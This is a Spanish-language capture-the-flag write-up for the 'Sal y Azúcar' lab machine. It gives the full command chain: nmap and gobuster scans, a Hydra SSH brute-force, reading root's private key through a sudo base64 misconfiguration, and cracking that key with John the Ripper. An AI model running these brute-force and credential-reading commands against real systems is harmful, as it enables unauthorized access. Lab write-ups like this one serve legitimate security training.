> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/sal-y-azucar.md).

# Sal y Azúcar

🔍 Dificultad: Principiante

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.71
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgJIfVZYPlS2wBs2fgDQa%2Fimage.png?alt=media&amp;token=d91496ce-16b0-488b-8932-c33124dda7a2" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.71
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZjaCZCQEuT0LdUTXcBG5%2Fimage.png?alt=media&amp;token=bbd53348-c90d-4e30-ab4f-8d1559319911" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.71
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpK7QHLbVw0xwlxTOjwwq%2Fimage.png?alt=media&amp;token=6647d2db-ea24-4b1a-906b-fecb4829fd19" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página por defecto de **Apache**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FElFHfT1oTvMjcPK9jFOX%2Fimage.png?alt=media&amp;token=19cc8f3f-f7f9-4cf0-94ea-fbc7c07b5911" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://192.168.1.71
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCS9c4ZBt7ufr4eWOm3p6%2Fimage.png?alt=media&amp;token=d2582174-1abe-413b-846e-fa5d8e72c719" alt=""><figcaption></figcaption></figure>

Encontramos un directorio **summary** con el archivo `summary.html`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKAdrTzWR31Xg7vxmT1Y1%2Fimage.png?alt=media&amp;token=0c76b372-1e3a-4e26-8feb-38ecfac042b3" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```
hydra -t 64 -L /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-1000.txt ssh://192.168.1.71
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.60**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0v8fERbuS9J4N6whyW7Q%2Fimage.png?alt=media&amp;token=4f8d1b9a-c99a-4662-be99-eab72c6148f8" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **info**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh info@192.168.1.71
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmC9XnMHaVCio8mUShBSP%2Fimage.png?alt=media&amp;token=b06190fa-41a3-4633-bf84-7c90802c2bf1" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0I1uJrPYQCPn3V0QbfCn%2Fimage.png?alt=media&amp;token=bb20d7a6-7824-41a8-8f0a-52d0ae92a282" alt=""><figcaption></figcaption></figure>

Para ello miramos como escalar privilegios en [GTFOBins - base64](https://gtfobins.github.io/gtfobins/base64/)

```bash
sudo base64 "/root/.ssh/id_rsa" | base64 --decode
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhbSypnoLW3BUcOFRbxmC%2Fimage.png?alt=media&amp;token=1a1c39f5-1b1d-4db5-b89f-4df886a495ec" alt=""><figcaption></figcaption></figure>

Como deseamos crackear la clave privada OpenSSH, necesitarás convertirla primero en un formato adecuado que `John the Ripper` pueda entender. Para ello, puedes usar la herramienta `ssh2john` incluida en `John the Ripper`, que convierte la clave en un hash adecuado para que John lo procese.

```bash
python /usr/share/john/ssh2john.py hash.txt > hash_for_john.txt
```

Ahora si realizamos la fuerza bruta.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash_for_john.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBSqgOtftGbvIW3SnmZIu%2Fimage.png?alt=media&amp;token=9a9f513f-be4f-40bb-a330-fb4c511469dd" alt=""><figcaption></figcaption></figure>

Damos permisos.

```bash
chmod 600 hash.txt
```

Iniciamos sesión.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FVU8acOx0AmFdrLibp19G%2Fimage.png?alt=media&amp;token=d9c5103f-4ed9-493f-b59c-c37b7bdabccc" alt=""><figcaption></figcaption></figure>

Ya somos root.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuDCs7wasmgGcs7bkQPIg%2Fimage.png?alt=media&amp;token=dccccdfb-a69f-45cc-84a1-b61ea65b7a53" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
